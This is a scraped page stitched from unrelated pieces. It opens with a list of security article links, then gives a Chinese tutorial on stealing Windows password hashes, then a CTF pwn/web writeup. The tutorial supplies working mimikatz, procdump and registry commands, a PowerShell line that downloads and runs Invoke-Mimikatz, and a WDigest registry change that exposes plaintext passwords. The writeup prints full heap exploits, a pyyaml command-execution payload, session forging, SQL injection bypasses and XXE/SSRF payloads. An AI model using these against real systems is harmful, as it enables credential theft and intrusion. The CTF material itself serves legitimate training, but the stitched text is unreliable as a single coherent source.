Pwn2Own: Safari沙盒绕过实现macOS 10.12.4本地权限提升
<https://phoenhex.re/2017-07-06/pwn2own-sandbox-escape>
使用.NET汇编编译方法绕过设备防护（Device Guard）
<http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html>
安全客2017季刊-第2期
[http://bobao.360.cn/download/book/security-geek-2017-q2.pdf](http://bobao.360.cn/download/book/security-geek-2017-q2.pdf)
Oracle OAM 10g 会话劫持
<https://krbtgt.pw/oracle-oam-10g-session-hijacking/>
IBM Informix DB-Access 缓冲区溢出漏洞
<http://www.defensecode.com/advisories/DC-2017-04-001_IBM_Informix_DB-Access_Buffer_Overflow.pdf>
利用JS加载.Net程序
<https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/>
WinPayloads：一个可以绕过安全检查的Windows payload生成器
<https://charliedean.github.io/Winpayloads/>
LFISuite：自动化LFI（本地文件包含）利用工具（反弹shell）+漏洞扫描
<https://github.com/D35m0nd142/LFISuite>
Adopting and Reducing Challenges of Content Security Policy (CSP) with Sentry
<https://medium.com/sourceclear/content-security-policy-with-sentry-efb04f336f59>
Categorisation is not a Security Boundary
<https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/>
在glibc malloc中线程本地缓存
<http://tukan.farm/2017/07/08/tcache/>
King Phisher：钓鱼活动工具包
<https://n0where.net/phishing-campaign-toolkit-king-phisher/>
CVE-2017-4918:VMware Horizon的macOS客户端代码注入漏洞分析
<https://bogner.sh/2017/07/cve-2017-4918-code-injection-in-vmware-horizons-macos-client/>
如何删除文件的Metadata
<https://n0where.net/how-to-remove-file-metadata/> | 社区文章 |
## 前言
* 在Windows操作系统上，sam数据库（C:\Windows\System32\config\sam）里保存着本地用户的hash。
* 在本地认证的流程中，作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中（dmp文件）。
从上面的两个思路开始，我们利用mimkatz工具作为辅助，来抓取本地用户的hash。
## SAM数据库提取
<https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump>
lsadump::sam
此命令可以转存储SAM数据库，里面包含了本地用户的密码hash。
它有两种工作模式：`online` and `offline`。
### online 模式
online工作模式：需要用户具备 **SYSTEM权限** 或 **使用模拟的SYSTEM令牌** ，否则将会产生拒绝访问报错：
下面通过使用模拟SYSTEM令牌（token::elevate）进行演示：
privilege::debug
token::elevate
lsadump::sam
* **privilege::debug**
获得debug权限。
* **token::elevate**
模拟一个system令牌。
### offline 模式
offline模式：获取当前系统的SAM数据库文件，在另一系统下进行读取。Win2000和XP需要先提到SYSTEM，03开始直接可以reg save。
导出SAM数据库文件有以下两种实现方法：
* **保存注册表**
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
文件保存在执行命令的目录：
* **复制文件**
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
默认无法复制：
需要借助工具：<https://github.com/3gstudent/NinjaCopy>
导出SAM数据库后，把文件放置mimikatz目录下：
执行命令：
lsadump::sam /sam:sam.hiv /system:system.hiv
### 工作原理
参考：[渗透技巧-通过sam数据库获取本地用户hash](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87SAM%E6%95%B0%E6%8D%AE%E5%BA%93%E8%8E%B7%E5%BE%97%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7hash/)
1. 读取hklm\system获取syskey
2. 使用syskey解密hklm\sam
### 优缺点比较
online模式：使用简单，但是特征明显，通常会被安全产品拦截。
offline模式：导出的文件大，效率低，但是安全。
### 其他工具
* **pwdump7**
下载地址：
<http://passwords.openwall.net/b/pwdump/pwdump7.zip>
* **powershell**
下载地址：
<https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1>
下载后本地执行：
powershell Import-Module .\Invoke-PowerDump.ps1;Invoke-PowerDump
* **QuarkPwDump**
项目地址：<https://github.com/quarkslab/quarkspwdump>
已编译版本：<https://github.com/redcanari/quarkspwdump/releases>
## lsass内存提权
### 使用mimikatz直接导出凭证
<https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa>
该模块从lsass.exe的内存中提权hash，需要具备下面的条件之一：
* administrator，可以通过privilege::debug获得调试权限
* SYSTEM权限
下面通过privilege::debug进行演示：
* **本地交互式抓取：**
privilege::debug
log
sekurlsa::logonpasswords
会在当前shell运行的目录下生成`mimikatz.log`：
* **本地非交互式抓取：**
mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
缺点也非常明显，通常会被安全产品拦截。
* **powershell加载mimikatz抓取：**
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
或者下载本地执行：
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonPasswords full"'
### 通过lsass进程的dmp文件导出凭证
<https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump>
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
会在当前目录生成lsass.dmp文件：
然后从lsass.dmp文件导出凭证，通过mimikatz完成：
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
* **工作原理以及bypass：**
参考：[渗透基础-从lsass.exe进行导出凭证](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE/)
通过API `MiniDumpWriteDump()`获得lsass.exe进程的dmp文件。
* **明文密码问题：**
参考：[红蓝对抗之Windows内网渗透](https://mp.weixin.qq.com/s/OGiDm3IHBP3_g0AOIHGCKA)
为什么有的抓不到明文密码，主要还是 **kb2871997** 的问题。kb2871997补丁会删除除了wdigest
ssp以外其他ssp的明文凭据，但对于wdigest ssp只能选择禁用。
但是用户可以手动开启：
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f | 社区文章 |
# 2019年中国技能大赛—网络安全管理职业技能竞赛个人CTF-web&pwn-writeup
上周参加了“2019年中国技能大赛—全国电信和互联网行业网络安全管理职业技能竞赛”（国家级二类竞赛），本届的题目质量比往届高了不少，看得出主办方在题目方面花了不少心思（给出题人点个赞），web&pwn的题目难度分级控制得不错，部分题目还挺有意思，赛后特此总结一下。
## pwn
### babyheap
[*] '/home/kira/pwn/gxb/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
init_0();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_int();
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add();
}
if ( v3 == 3 )
{
edit();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(1);
show();
}
}
}
菜单式题目，程序有malloc，free，edit，show4个功能。题目提供了libc，版本为2.27，此版本涉及到tcache，需使用ubuntu18.04进行调试。漏洞点比较明显，不过题目进行了一些限制，下面一一分析。
* add函数
unsigned __int64 add()
{
int v1; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("index:");
v1 = get_int();
if ( v1 < 0 || v1 > 4 || table[v1] )
exit(0);
table[v1] = malloc(0x80uLL);
++count;
puts("content:");
read(0, table[v1], 0x80uLL);
return __readfsqword(0x28u) ^ v2;
}
malloc固定大小为0x80，因此不能直接申请到超过tcache大小的堆块，同时只能申请0-4号5个堆块，有一个count的变量记录当前已申请数量。
* delete函数
unsigned __int64 sub_B8D()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("index:");
v1 = get_int();
if ( v1 < 0 || v1 > 4 || !table[v1] || !count )
exit(0);
--count;
free(table[v1]);
return __readfsqword(0x28u) ^ v2;
}
free后没有清空指针，有一个明显的UAF漏洞。由于没有清空指针，因此本题限制了只能申请5个堆块。在malloc和free次数限制的情况下进行getshell是本题的考点。
这里需要了解一下tcache->entries的结构，查看heap开头的位置可以看到如下信息。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55992fc9dd90 (size : 0x20270)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x110) tcache_entry[15]: 0x55992fc9d3d0 --> 0x55992fc9d290
pwndbg> x/32gx 0x55992fc9d000
0x55992fc9d000: 0x0000000000000000 0x0000000000000251
0x55992fc9d010: 0x0000000000000000 0x0200000000000000 -> 2 对应 tcache_entry[15] 的数量
0x55992fc9d020: 0x0000000000000000 0x0000000000000000
0x55992fc9d030: 0x0000000000000000 0x0000000000000000
0x55992fc9d040: 0x0000000000000000 0x0000000000000000
0x55992fc9d050: 0x0000000000000000 0x0000000000000000
0x55992fc9d060: 0x0000000000000000 0x0000000000000000
0x55992fc9d070: 0x0000000000000000 0x0000000000000000
0x55992fc9d080: 0x0000000000000000 0x0000000000000000
0x55992fc9d090: 0x0000000000000000 0x0000000000000000
0x55992fc9d0a0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0b0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0c0: 0x0000000000000000 0x000055992fc9d3d0 -> tcache_entry[15]
0x55992fc9d0d0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0e0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0f0: 0x0000000000000000 0x0000000000000000
可以看到记录tcache链表数量和tcache_entry指针位于heap中，我们可以对此段内存使用tcache
attack进行修改，修改tcache链表内数量为7，这就可以不用填满就能泄露libc地址。
具体思路如下：
1. 使用2次malloc，2次free；
2. UAF泄露heap地址；
3. 使用2次malloc，进行一次tcache attack，修改tcache链表内数量为7；
4. 使用1次free后UAF泄露libc地址；
5. 使用edit功能，修改tcache_entry指向free_hook;
6. 使用最后一次malloc，修改free_hook为one_gadget;
完整EXP:
def add(idx,content):
p.sendlineafter("4.show\n",'1')
p.sendlineafter(":",str(idx))
p.sendafter(":",content)
def delete(idx):
p.sendlineafter("4.show\n",'2')
p.sendlineafter(":",str(idx))
def edit(idx,content):
p.sendlineafter("4.show\n","3")
p.sendlineafter(":",str(idx))
p.sendafter(":",content)
def show(idx):
p.sendlineafter("4.show\n","4")
p.sendlineafter(":",str(idx))
add(0,'0\n')
add(1,'1\n')
delete(0)
delete(0)
show(0)
print p.recv(6)
heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success(hex(heap))
t = heap - 0x250
tt = heap - 0x250 + 0x78
edit(0,p64(t))
add(2,'0\n')
add(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(tt))
delete(0)
show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebc40 - 0x60
success(hex(libc.address))
edit(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(libc.sym['__free_hook']))
one = 0x4f322
add(4,p64(libc.address+one))
delete(4)
p.interactive()
### orange
[*] '/home/kira/pwn/gxb/Orange'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
nt __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
init(*(_QWORD *)&argc, argv, envp);
getname();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else
{
if ( v3 == 4 )
{
puts("bye");
exit(1);
}
LABEL_14:
printf("invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
add();
}
}
}
看到题目叫Orange，肯定需要利用huose of Orange，题目只有3个功能，add，edit，show，没有free的功能，典型的huose of
Orange利用场景。简单看一下具体有哪些能利用的漏洞。
* add函数
int add()
{
signed __int64 v0; // rax
signed int i; // [rsp+8h] [rbp-8h]
signed int v3; // [rsp+Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
if ( i > 8 )
{
LODWORD(v0) = puts("You can't add new page anymore!");
return v0;
}
if ( !*((_QWORD *)&heap + 2 * i) )
break;
}
printf("size:");
v3 = read_int();
if ( v3 <= 0 || v3 > 0x1FFF )
{
LODWORD(v0) = puts("size overflow");
}
else
{
*((_QWORD *)&heap + 2 * i) = malloc(v3);
dword_6020E8[4 * i] = v3;
v0 = 16LL * i + 0x6020EC;
dword_6020E8[4 * i + 1] = 1;
}
return v0;
}
malloc申请内存的大小范围很大，申请的heap块地址存放在bss段0x6020E0
* edit函数
int edit()
{
signed __int64 v0; // rax
int v1; // edx
signed int v3; // [rsp+Ch] [rbp-4h]
printf("index:");
v3 = read_int();
if ( v3 > 7 )
{
puts("out of index");
exit(0);
}
if ( v3 != 5 || overflag != 1 )
{
if ( *((_QWORD *)&heap + 2 * v3) && dword_6020E8[4 * v3 + 1] == 1 )
{
printf("content:");
read_con(*((_QWORD *)&heap + 2 * v3), (signed int)dword_6020E8[4 * v3]);
v1 = strlen(*((const char **)&heap + 2 * v3));
v0 = 16LL * v3 + 6299880;
dword_6020E8[4 * v3] = v1;
}
else
{
LODWORD(v0) = printf("%s invaild index\n", &name);
}
}
else
{
printf("content:");
LODWORD(v0) = read_con(*((_QWORD *)&heap + 10), 1024LL);
overflag = 0;
}
return v0;
}
这里出题人故意留了很多漏洞供我们使用
* `LODWORD(v0) = printf("%s invaild index\n", &name);`，name的位置在bss段，紧接着存放heap块地址的内存，填满name打印时可以泄露heap地址；
* 修改content后使用`strlen`重新计算长度，而且输入没有进行00截断，可造成heap溢出；
* edit 5号heap块时，可以写入1024字节，一个简单粗暴的heap溢出；
具体的利用思路：
1. 开头输入0x20字节name，edit一个不存在的heap泄露heap地址；
2. 利用edit第二个漏洞，修改topchunk size；
3. 申请一个超大的heap，使topchunk被释放到unsorted bin，使用show进行泄露libc地址；
4. 使用edit 5号heap进行堆溢出，覆盖unsortedbin的BK，构造fake FILE结构体；
5. 随意申请一个heap触发unsortedbin attack完成整个攻击流程；
huose of Orange的具体原理不在详述了，可以查看其他大佬的文章。
EXP:
def add(size):
p.sendlineafter("choice:",'1')
p.sendlineafter(":",str(size))
def show(idx):
p.sendlineafter("choice:","2")
p.sendlineafter(":",str(idx))
def edit(idx,content):
p.sendlineafter("choice:","3")
p.sendlineafter(":",str(idx))
p.sendafter(":",content)
p.sendlineafter("name","0"*0x20)
add(0x18) #0
p.sendlineafter("choice:","3")
p.sendlineafter(":","6")
# leak heap address
p.recvuntil("0"*0x20)
heap = u32(p.recv(4))
success(hex(heap))
# leak libc address
add(0x18) # 1
edit(1,"1"*0x18)
edit(1,"2"*0x18+p16(0xfc1)+'\x00') # top chunk
add(0x1000) # 2
add(0x50) # 3
show(3)
libc.address = u64(p.recv(6).ljust(8,"\x00")) - 0x3c4b20 - 0x668
success(hex(libc.address))
# house of orange
add(0x10) # 4
add(0x10) # 5
payload = "3"*0x10
payload += '/bin/sh\x00' + p64(0x61)
payload += p64(libc.symbols["__malloc_hook"])
payload += p64(libc.symbols['_IO_list_all']-0x10)
payload += p64(0) + p64(1)
payload = payload.ljust(0xd8+0x10,'\x00') + p64(heap+0xc0+0x10+0xd8+8)
payload += p64(0)+p64(0)+p64(1)+p64(libc.symbols['system'])
edit(5,payload+'\n')
add(1)
p.interactive()
### overflow
[*] '/home/kira/pwn/gxb/overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目使用静态编译，存在一个很明显的栈溢出，直接使用ROPgadget生成ropchain即可。
ROPgadget --binary overflow --ropchain
这题比较简单，属于pwn的签到题，不再详述了。
## web
### blog
打开是一个blog的登陆页面，扫描一下可以发现存在`/admin/`以及`/config/`目录，题目有列目录
config.ini文件有数据库信息，不过数据库不能外连，没用。
[数据库连接信息]
host = '127.0.0.1'
user = 'root'
pass = 'root'
db = 'seclover'
[后台路径]
path='/admin/'
#需要修改后台路径时将admin文件夹重命名
点击`download.php`发现会下载自身，不过文件为空，burp重放发现响应包中有`filename=`参数。大胆猜测可以通过传入`filename=`参数进行文件下载。
简单fuzz一下常见的文件目录，最后发现`filename=/../etc/passwd`能读取到文件。
读取题目源码进行分析，发现`checklogin.php`存在变量覆盖漏洞
<?php
session_start();
ini_set('register_globals','1');
require_once('./../config/sql.php');
foreach (array_keys($_REQUEST) as $v) {
$key = $v;
$$key = $_REQUEST[$v];
}
$sql = new sql;
$userinfo = sql->select("`admin`","*","where `user`='$user'");
if($userinfo['pass']===$pass){
$_SESSION[admin] = 'true';
}else{
echo '密码错误！';
}
而后台验证是使用session进行判断，因此通过变量覆盖将`$_SESSION[admin]`覆盖成True即可登陆后台。
http://x.x.x.x/admin/checklogin.php?_SESSION[admin]=true
登陆后台后发现有上传功能，直接上传php会报错，使用burp抓包，通过大小写绕过后台黑名单限制，但是发现无法正常解析，最后使用`php5`成功解析，上传一句话木马直接getshell。
### easy_flask
打开页面也是一个登陆界面，发现随便输入一个账号密码即可登陆，但是提示不是admin。
ssti是常见的考点，直接在url中测试输入`/{{7*'7'}}`，发现404页面存在ssti。过滤比较严格，貌似无法直接读取文件或命令执行。不过发现`config`没有过滤。那么可以通过`{{config}}`读取`secret_key`，获取后可以伪造session越权为admin。
'SECRET_KEY': 'c63701a0-f565-4a1f-a0b6-d0a80bf31b9a'
首先随意登陆一个账号，获取登陆cookie，解密cookie可以发现只有一个username字段
yJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo
py -2 flask_session_cookie_manager2.py decode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -c "eyJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo"
{u'username': u'123'}
将username修改为admin后，使用`secret_key`重新生成cookie
py -2 flask_session_cookie_manager2.py encode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -t "{u'username': u'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.ELtihg.BnshJq3vrgRBfX7wTK-scsMxbOU
修改cookie，登录后发现增加了一个`tools`的功能，页面直接提示是`pyyaml`反序列化。
拿常见payload进行测试，发现有waf，目测是黑名单过滤，测试多个python命令执行的payload最后使用以下payload成功执行命令：
!!python/object/new:commands.getoutput ["ls"]
!!python/object/new:commands.getoutput ["cat f1111111111114g.txt"]
### php之禅
打开`index.php`会自动跳转，并加入get参数，通过观察，很容易发现一个文件包含漏洞，直接使用伪协议读取一波源码。
http://100.100.100.122:8083/?f=home.php&n=Master
http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=home.php&n=Master
但是base64解码之后，发现php是进行了加密的。
<?php
qv{tm|}8?G~ty.6hph?#..}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#..}{pw8?lja8lw8.}l8lp}8~ty.9?#..<Gl8%8<G_]LC?Gl?E#..q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c...}{pw8<~ty.#..}
?>
使用扫描脚本扫描一下，寻找是否存在源码泄露或其他更多提示。最后发现了存在`phpinfo.php`。
> py -2 SourceLeakHacker.py http://100.100.100.122:8083/ 10 5
[ 302 ] Checking : http://100.100.100.122:8083/index.php
[ 200 ] Checking : http://100.100.100.122:8083/phpinfo.php
通过phpinfo发现题目加载了奇怪的模块
extension_dir /usr/lib/php/20151012
mysqli
使用文件包含下载扩展模块的so文件
http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=/usr/lib/php/20151012/mysqli.so&n=Master
拖入IDA进行分析，可以找到一个`php_decode_compile_file`的函数
__int64 __fastcall php_decode_compile_file(__int64 a1, unsigned int a2)
{
signed int i; // [rsp+1Ch] [rbp-24h]
__int64 v4; // [rsp+20h] [rbp-20h]
size_t size; // [rsp+28h] [rbp-18h]
void *s; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( !(unsigned int)zend_stream_fixup(a1, &v4, &size) && !strcmp(*(const char **)(a1 + 88), "/var/www/html/home.php") )
{
s = malloc(size);
memset(s, 0, size);
for ( i = 0; i <= size; ++i )
{
if ( i <= 6 || i >= size - 5 )
*((_BYTE *)s + i) = *(_BYTE *)(v4 + i);
else
*((_BYTE *)s + i) = *(_BYTE *)(v4 + i) ^ 0x18;
}
*(_QWORD *)(a1 + 40) = s;
}
return orig_compile_file(a1, a2);
}
可以看到`home.php`进行了xor，算法不难直接将之前获取的源代码进行异或得到明文。
<?php
include '_flag.php';
echo '<h2>Welcome,'.$_GET['n'].'!</h2>';
echo 'try to get the flag!';
$_t = $_GET['_t'];
if($_t && (intval($_t) === round(microtime(true)))){
echo $flag;
这里其实是出题人留的一个坑，如果强行爆破时间会得到一个假flag，重新查看so的代码，会发现`intval`被hook了。
__int64 php_override_functions()
{
return php_override_func("intval", 8LL, (__int64)zif_intval_ex, &origin_funcs);
}
`intval`被覆写成`zif_intval_ex`，具体伪代码如下：
unsigned __int64 __fastcall zif_intval_ex(__int64 a1, __int64 a2)
{
if ( (unsigned int)zend_parse_parameters(*(unsigned int *)(a1 + 44), "s|z/", &v8, &v9) != -1 )
{
v11 = 0LL;
v12 = (_QWORD *)zend_hash_str_find(&executor_globals[38], "_GET", 4LL);
if ( v12 )
{
v35 = v12;
if ( *((_BYTE *)v12 + 8) == 7 )
{
v10 = zend_hash_str_find(*v12, "key", 3LL);
if ( v10 )
{
v11 = zend_hash_str_find(*v12, "content", 7LL);
if ( v11 )
{
zend_error(2LL, *(_QWORD *)v10 + 24LL);
zend_error(2LL, *(_QWORD *)v11 + 24LL);
}
}
}
}
php_printf("%s", *(_QWORD *)v11 + 24LL);
if ( v10 )
{
if ( v11 )
{
s = "openssl_decrypt";
v16 = v15;
v2 = strlen("openssl_decrypt");
src = s;
n = v2;
v57 = v2;
v58 = _emalloc((v2 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v58 = 1;
*(_DWORD *)(v58 + 4) = 6;
v59 = v58;
*(_QWORD *)(v58 + 8) = 0LL;
*(_QWORD *)(v58 + 16) = v57;
v60 = v58;
memcpy((void *)(v58 + 24), src, n);
*(_BYTE *)(v60 + n + 24) = 0;
v17 = v60;
*(_QWORD *)v16 = v60;
*(_DWORD *)(v16 + 8) = 5126;
v18 = (char *)(*(_QWORD *)v11 + 24LL);
v19 = &v62;
v3 = strlen(v18);
v24 = v18;
v51 = v3;
v52 = v3;
v53 = _emalloc((v3 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v53 = 1;
*(_DWORD *)(v53 + 4) = 6;
v54 = v53;
*(_QWORD *)(v53 + 8) = 0LL;
*(_QWORD *)(v53 + 16) = v52;
v55 = v53;
memcpy((void *)(v53 + 24), v24, v51);
*(_BYTE *)(v55 + v51 + 24) = 0;
v21 = v55;
*(_QWORD *)v19 = v55;
*((_DWORD *)v19 + 2) = 5126;
v22 = "AES-128-CBC";
v23 = &v63;
v4 = strlen("AES-128-CBC");
v28 = v22;
v46 = v4;
v47 = v4;
v48 = _emalloc((v4 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v48 = 1;
*(_DWORD *)(v48 + 4) = 6;
v49 = v48;
*(_QWORD *)(v48 + 8) = 0LL;
*(_QWORD *)(v48 + 16) = v47;
v50 = v48;
memcpy((void *)(v48 + 24), v28, v46);
*(_BYTE *)(v50 + v46 + 24) = 0;
v25 = v50;
*v23 = v50;
*((_DWORD *)v23 + 2) = 5126;
v26 = (char *)(*(_QWORD *)v10 + 24LL);
v27 = &v64;
v5 = strlen(v26);
v33 = v26;
v41 = v5;
v42 = v5;
v43 = _emalloc((v5 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v43 = 1;
*(_DWORD *)(v43 + 4) = 6;
v44 = v43;
*(_QWORD *)(v43 + 8) = 0LL;
*(_QWORD *)(v43 + 16) = v42;
v45 = v43;
memcpy((void *)(v43 + 24), v33, v41);
*(_BYTE *)(v45 + v41 + 24) = 0;
v29 = v45;
*v27 = v45;
*((_DWORD *)v27 + 2) = 5126;
v30 = &v65;
v65 = 1LL;
v66 = 4;
v31 = "0000000000000000";
v32 = &v67;
v6 = strlen("0000000000000000");
v13 = v31;
v36 = v6;
v37 = v6;
v38 = _emalloc((v6 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v38 = 1;
*(_DWORD *)(v38 + 4) = 6;
v39 = v38;
*(_QWORD *)(v38 + 8) = 0LL;
*(_QWORD *)(v38 + 16) = v37;
v40 = v38;
memcpy((void *)(v38 + 24), v13, v36);
*(_BYTE *)(v40 + v36 + 24) = 0;
v34 = v40;
*v32 = v40;
*((_DWORD *)v32 + 2) = 5126;
if ( !(unsigned int)call_user_function_ex(executor_globals[54], 0LL, v15, &v61, 5LL, &v62, 0LL, 0LL)
&& *(_QWORD *)(v61 + 16) <= 0x10uLL )
{
zend_eval_string(v61 + 24, 0LL, &unk_1CE2);
}
}
}
origin_funcs(a1, a2);
}
这个函数的功能是通过get传入key和content，然后调用了openssl_decrypt函数，其中key为密钥，content为密文，加密方式为`AES-128-CBC`，IV为`0000000000000000`，密文解密后调用了eval。
那么，可以把需要执行的命令进行AES加密后，通过GET的方式传入参数进行命令执行，使用以下脚本生成payload：
$a = openssl_encrypt("system('ls');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000");
echo urlencode($a);
$a = openssl_encrypt("system('cat *');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000");
echo urlencode($a);
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=%B6%9E%91%22%C6%D2%60Jr%0Bx%07Z%B8%1EQ
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=t%DA%0D%E8%A5g%7D%22A7%D0%5E%8E%8B%F8i%5B%030C%C2%3E%02%02%C2Fq%EDj%FAj%29
直接`cat *`获取flag
<?php
$flag='flag{s000_1s_th3_pHp_Ext3ens1on}';
?>
<?php
qv{tm|}8?G~ty6hph?#}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#}{pw8?lja8lw8}l8lp}8~ty9?#<Gl8%8<G_]LC?Gl?E#q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c}{pw8<~ty#}
?>
<?php
if($_GET['f'] && !is_array($_GET['f'])){
include $_GET['f'];
}else{
header("Location: /?f=home.php&n=Master");
}
?>
<?php
phpinfo();
?>
### note（精英赛）
打开题目，又是一个登陆界面，按照之前的做题经验，不可能是无脑爆破，尝试使用万能密码进行登陆。
username=admin' or 1#&password=123
登陆失败并返回
admin' 1# maybe password error!
可以发现`or`没有了，估计是后台对部分关键字进行了替换为空。测试发现除了`or`，还有`select/and`被替换，直接采用双写即可绕过。
简单测试后，发现可以用布尔注入进行sql注入，条件为假时提示密码错误，条件为真时没有返回信息。
username=admin' anandd oorrd(mid(user(),1,1))>1000#&password=admin
返回信息：admin' and ord(mid(user(),1,1))>1000# maybe password error!
username=admin' anandd oorrd(mid(user(),1,1))>0#&password=admin
返回信息：nothing
修改一下tamper文件，用sqlmap最后注出admin密码为：a8ujj2fa2ddasd
登陆后发现一个留言窗口，输入类型为xml，那么很可能存在XXE，直接用常用的payload测试一下。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY flag SYSTEM "file:///etc/passwd">]>
<root>
<value>&flag;</value>
</root>
发现可以正常读取文件。
尝试直接读取flag，但是试了`/flag`，`/flag.txt`，`/flag.php`均无果。直接拿burp fuzz一下常见的系统文件
/proc/self/cmdline
/proc/self/environ
/proc/self/cwd/index.php
/proc/self/mounts
/etc/hosts
/etc/httpd/conf/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/usr/local/etc/nginx/nginx.conf
/etc/nginx/conf/nginx.conf
/proc/self/fd/2
/proc/self/fd/1
/proc/self/fd/0
最后在`/etc/hosts`发现存在二层内网
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.55.2.11 68337dd50b7d
172.55.2.10 inside_web.com
XXE+SSRF读取内网web
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php">]>
<root>
<value>&flag;</value>
</root>
base64解码后，发现内网网站可用`file`参数读取文件
<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>file browser</title>
</head>
</body></html>
plz set file to access
继续尝试直接读取flag
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php?file=/flag">]>
<root>
<value>&flag;</value>
</root>
这次成功了！
